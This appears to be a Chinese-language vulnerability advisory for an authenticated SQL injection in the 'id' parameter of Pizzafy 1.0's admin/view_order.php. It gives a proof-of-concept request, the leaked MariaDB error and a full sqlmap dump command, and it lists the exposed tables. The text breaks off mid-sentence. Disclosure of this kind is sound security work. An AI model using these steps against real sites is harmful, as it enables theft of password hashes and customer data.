| 字段 | 值 |
|---|
| 供应商 | SourceCodester |
| 产品 | 使用PHP和MySQL的Pizzafy电子商务系统 |
| 版本 | 1.0 |
| 漏洞类型 | SQL注入 |
| CWE | CWE-89 |
| CVSSv3评分 | 7.2(高) |
| 攻击向量 | 网络 |
| 是否需要认证 | 是(管理员) |
| 研究人员 | Xmyronn |
| 日期 | 2026-04-11 |
文件: Pizzafy/admin/view_order.php
参数: id(GET)
Pizzafy电子商务系统1.0中的admin/view_order.php端点未能在将id GET参数传递给MySQL查询之前对其进行正确过滤。已通过身份验证的管理员可以操纵此参数注入任意SQL语句,从而导致数据库完全沦陷。
访问:
http://localhost/pizzafy/Pizzafy/admin/index.php
使用管理员凭据登录。
http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders

点击任意订单条目上的查看订单。

拦截到的GET请求如下所示:

将id=1修改为id=':

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1
响应 — MySQL错误泄露:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15
将请求保存为view_order.txt并运行:
sqlmap -r view_order.txt --dump --batch

sqlmap确认的注入类型:
| 类型 | 描述 |
|---|---|
| 布尔盲注 | AND布尔盲注 — WHERE子句 |
| 错误注入 | MySQL >= 5.0 FLOOR错误注入 |
| 时间盲注 | MySQL >= 5.0.12 SLEEP |
| UNION查询 | 通用UNION查询 — 11列 |
完整的数据库被导出:
Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings
暴露的敏感数据包括bcrypt密码哈希值、客户电子邮件、订单详情和系统配置。
恶意管理员(或已获取管理员凭据的攻击者)可以: